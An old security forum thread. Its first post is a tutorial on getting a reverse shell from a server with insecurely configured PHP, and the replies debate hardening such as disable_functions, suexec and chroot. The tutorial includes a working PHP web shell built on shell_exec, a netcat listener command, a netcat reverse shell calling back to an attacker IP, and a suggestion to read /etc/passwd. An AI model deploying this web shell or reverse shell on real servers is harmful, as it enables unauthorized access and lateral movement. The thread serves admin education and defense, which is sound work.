Shoveling a Shell using PHP Insecurities
Page 1 of 2 12 LastLast
Results 1 to 10 of 13

Thread: Shoveling a Shell using PHP Insecurities

  1. #1
    King Tutorial-ankhamun
    Join Date
    Jul 2004
    Posts
    897

    Shoveling a Shell using PHP Insecurities

    Shoveling a Shell using PHP Insecurities

    Many do not realize the amount of power that PHP can give a system user if it is not configured securely. The problem this tutorial is about is not just a problem for web hosting companies. I come from the academic world where many universities give students and staff the ability to create their own web pages on a campus web server. Sometimes the users can even create ASP or PHP files for their website to make them more dynamic. With PHP installed and configured insecurely a user could run arbitrary programs on the system or in their web folder, seriously compromising system security. In this tutorial I will demonstrate this using a piece of software called Netcat ( http://www.atstake.com/research/tool...ork_utilities/ ).

    Netcat is like a Swiss Army knife for making TCP connections. For an attacker to shovel a shell from the target web server he first has to start Netcat listening for a connection on his box. For this tutorial I chose to use port 30, but a different port could work just as well. Here is the command issued on the attackers box to start listening for a connection on port 30:
    Code:
        nc -l -p 30
    At this point all the attacker has to do is upload Netcat to his web space on the target server and use the following PHP script (which you can also download as a zip file later in this page, it should work in both Windows and *nix):
    Code:
        <HTML>
        <BODY>
        <PRE>
        <FORM METHOD="post" ACTION="cmd.php">
        <INPUT TYPE="TEXT" NAME="command">
        <INPUT TYPE="Submit">
        </FORM>
        <PRE>
        <?
        $command = str_replace("\\\\","\\",$_POST[command]);
        echo "<B>Results for $command: </B><P>";
        $results = str_replace("<","<",shell_exec($command));
        $results = str_replace(">",">",$results);
        echo $results;
        ?>
        </PRE>
        <P>
        <B>If this script works add this line to your PHP.ini:</B>
        <FONT color="#ff0000">disable_functions=system,exec,passthru,shell_exec</FONT>
        </BODY>
        </HTML>
    and then issue the following command in the input form when the script is loaded from the website:
    Code:
        nc AttackingBoxIP 30 -e cmd
    The previous command shovels a shell back to the attacker, allowing the cracker command line access to the web server and from there he could leap frog to other machines and have his identity obscured as that of the web servers IP. Active Server Pages have similar functionality (Wscript.shell). Using methods similar to these, a user could view the source code of other Active Server Pages (possibly revealing ODBC passwords), or if the web servers file system is Fat32 (or the NTFS permissions are overly permissive), they could edit other web pages or system files. To help limit these risks always use NTFS with proper permissions (assuming it's a Windows box) and limit what functions a user can access (see http://www.php.net for information on using the safe_mode or disable_functions directive in PHP, see Microsoft Knowledgebase article Q278319 for limiting the use of Wscript.shell in Active Server Pages). In this case adding the following line to your PHP.ini file should suffice:
    Code:
        disable_functions=system,exec,passthru,shell_exec
    If you want to see if PHP is configured securely on your web server unzip the following file:

    http://irongeek.com/downloads/cmd.php.zip

    into a web accessible directory and surf to it. This PHP script works on both Windows and Linux system (or any other OS that can use PHP). Once you have it in a web accessible directory try some of these commands:

    Windows:

    netstat
    netusers
    dir c: /s
    type some.file.name

    Linux:

    df
    cat /etc/passwd

  2. #2
    Senior Member
    Join Date
    Sep 2001
    Posts
    1,027
    While your tutorial is/can be enlightning to those who were not aware of such vulnerabilities, I feel it lacks a little context and that the title is slightly inaccurate as such "inscecurities" aren't specifict to php but can affect any web scripting language...

    I'd encourage you to look into "input validation vulnerabilites" and perhaps add prevention and mitigation techniques to your tutorial, which I'd suggest splitting into "scripting/programing input validation techniques" (usually the root of the problem) like the use of regexp and "web/app server configuration techniques" (threat mitigation) like chroot, suexec, privsep...


    Just my 2 cents...


    Ammo
    Credit travels up, blame travels down -- The Boss

  3. #3
    King Tutorial-ankhamun
    Join Date
    Jul 2004
    Posts
    897
    Understand your point, but this tutorial does not have to do with input validation. In this case it assumes the attacker already has the ability to put scripts on the target box. A better title may have been “Shoveling a Shell using PHP configured insecurely”. The "add prevention and mitigation" part is there. I mention editing php.ini and adding:

    disable_functions=system,exec,passthru,shell_exec

    to it, as well as refering them to a site with more information. Thanks for your feed back.

  4. #4
    PHP/PostgreSQL guy
    Join Date
    Dec 2001
    Posts
    1,164
    Good post, IG...love your sig too, haha...

    PHP can provide a world of dynamic data and whatnot for any machine where it's able to run. It can also be a gaping hole depending on input errors, invalid stack checks, POST/GET abuse, etc...

    As always, security = 1 / convenience....
    We the willing, led by the unknowing, have been doing the impossible for the ungrateful. We have done so much with so little for so long that we are now qualified to do just about anything with almost nothing.

  5. #5
    Senior Member
    Join Date
    Sep 2001
    Posts
    1,027
    Originally posted here by Irongeek
    Understand your point, but this tutorial does not have to do with input validation. In this case it assumes the attacker already has the ability to put scripts on the target box. A better title may have been “Shoveling a Shell using PHP configured insecurely”. The "add prevention and mitigation" part is there. I mention editing php.ini and adding:

    disable_functions=system,exec,passthru,shell_exec

    to it, as well as refering them to a site with more information. Thanks for your feed back.
    Yeah, I get what you mean. However my point is that I do consider this an input validation error since the first rule to input validation is "never execute unvalidated user input"...
    The thing is, these functions by themselves aren't vulnerabilities, what makes them so is the fact that you pass it unvalidated user data/commands... You could very safely and legitimately make use of these functions to execute constant command strings which implies that it's not really php or it's configuration's fault but rather poorly written code that's at fault.

    In this case it assumes the attacker already has the ability to put scripts on the target box
    But then again, if the attacker already has the ability to upload scripts, your already in at least *some* trouble and it's the vulnerability that has allowed the attacker to upload content that is at fault...

    Even then, further exploitation of the "upload" vulnerability would be mitigated if the http daemon runs as an unprivileged user (not root!), preferably in a chroot, and that file/directories write accessible by the httpd user *never* be so and executable at the same time...

    Again, just restating my point, it's not the configuration that's the vulnerability here, it's the script... Let's put it this way: if I were able to upload scripts, you might just as well upload a cgi if php were "securly" configured not to exec...


    Ammo
    Credit travels up, blame travels down -- The Boss

  6. #6
    PHP/PostgreSQL guy
    Join Date
    Dec 2001
    Posts
    1,164
    But then again, if the attacker already has the ability to upload scripts, your already in at least *some* trouble and it's the vulnerability that has allowed the attacker to upload content that is at fault...
    The only problem with that statement is that then, by that omission, every end-user or student or customer who has shell access, ftp access, etc is then considered an 'attacker'. MUDs have/had the same problems...allowing people to come onto your server (even if they were paying) and you had to monitor everything from proc lists to memory usage to network usage, checking out someone who's running ./elm or ./vi, etc...oh the lists!

    Chroot your http environment, chroot your ftp access, limit it to no anonymous logins, turn safe mode on for php, etc...it's a task, making things secure, hehe.
    We the willing, led by the unknowing, have been doing the impossible for the ungrateful. We have done so much with so little for so long that we are now qualified to do just about anything with almost nothing.

  7. #7
    King Tutorial-ankhamun
    Join Date
    Jul 2004
    Posts
    897
    As Vorlin points out, in some environments, like web host providers and universities, you have to limit the accessible functions because you may not be able to trust the user. In those cases it’s not an input validation issues, because from the attackers perspective as the one who put the script there, it’s good data.

  8. #8
    Senior Member
    Join Date
    Sep 2001
    Posts
    1,027
    If you can't trust your users, use suexec, disk quotas, and login classes (stack/mem/cpu limits)...
    Then if a user screws up his scripts or is just doesn't mean well, the scope of concequences is limited to his stuff... (Of course there's still exposure to local vulnerabilities but these are there anyway).

    The only problem with that statement is that then, by that omission, every end-user or student or customer who has shell access, ftp access, etc is then considered an 'attacker'.
    ...
    In those cases it’s not an input validation issues, because from the attackers perspective as the one who put the script there, it’s good data.
    Ok, I wasn't taking it from the perspective of an shared/open hosting environement...
    In that case, yeah, if the *only* services you were offering were (chrooted) ftp access for file transfer, plain html and only php as scripting means, and didn't expect your users to have any shell access (ie: didn't harden things more than that), forgetting to "disable_functions=system,exec,passthru,shell_exec" would surely come back to bite you, that I agree...

    However(!), and I'm mainly pointing this out for other readers as you probably already had this in mind already, the moment you offer any kind of "shell" service, like telnet, ssh, CGIs, SSIs, servlets, there'd be no point in relying on disabling these functions in php since they'd be accessible through other vectors... At that point it becomes much safer and easier to "blanket" restrict/contain the users at the system level (like mentionned above, as well as what Vorlin said) and leave them conveniance of using exec type funcitons in php...


    it's a task, making things secure, hehe.
    You'll get no argument from me there!


    While I'm at it, how about a bonus real life example:
    The university I went to (just finished by the way! woohoo!), computer science students have access to a solaris server for general purpose work including shell access and personal web space (in the form of user_dirs with apache) which allowed CGIs, perl, php (I think), servlets... The thing is that they didn't make use of suexec and so it was/would have been rather easy to abuse of the privileges of the httpd user to play with the public_html space of unsuspecting other students who didn't know/care/bother setting appropriate permissions. Even the admin didn't seem to aware of it as they had apache configuration files owned by the httpd user... Duh!!


    Ammo
    Credit travels up, blame travels down -- The Boss

  9. #9
    Senior Member
    Join Date
    Nov 2001
    Posts
    1,255
    Instead of screaming about the blatantly obvious (if you leave your PHP misconfigured, it will be vulnerable to people who can upload scripts), I'd recommend you direct people to the authority on the matter -- that would be the PHP team. Their documentation even contains a section on PHP's Security considerations. Particularly the user-contributed notes are of interest.
    Chris Shepherd
    The Nelson-Shepherd cutoff: The point at which you realise someone is an idiot while trying to help them.
    \"Well as far as the spelling, I speak fluently both your native languages. Do you even can try spell mine ?\" -- Failed Insult
    Is your whole family retarded, or did they just catch it from you?

  10. #10
    rebmeM roineS enilnOitnA steve.milner's Avatar
    Join Date
    Jul 2003
    Posts
    1,018
    Add this bit of info to a cross site scripting attack on a vunerable server and you're off un running.
    IT, e-commerce, Retail, Programme & Project Management, EPoS, Supply Chain and Logistic Services. Yorkshire. http://www.bigi.uk.com

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •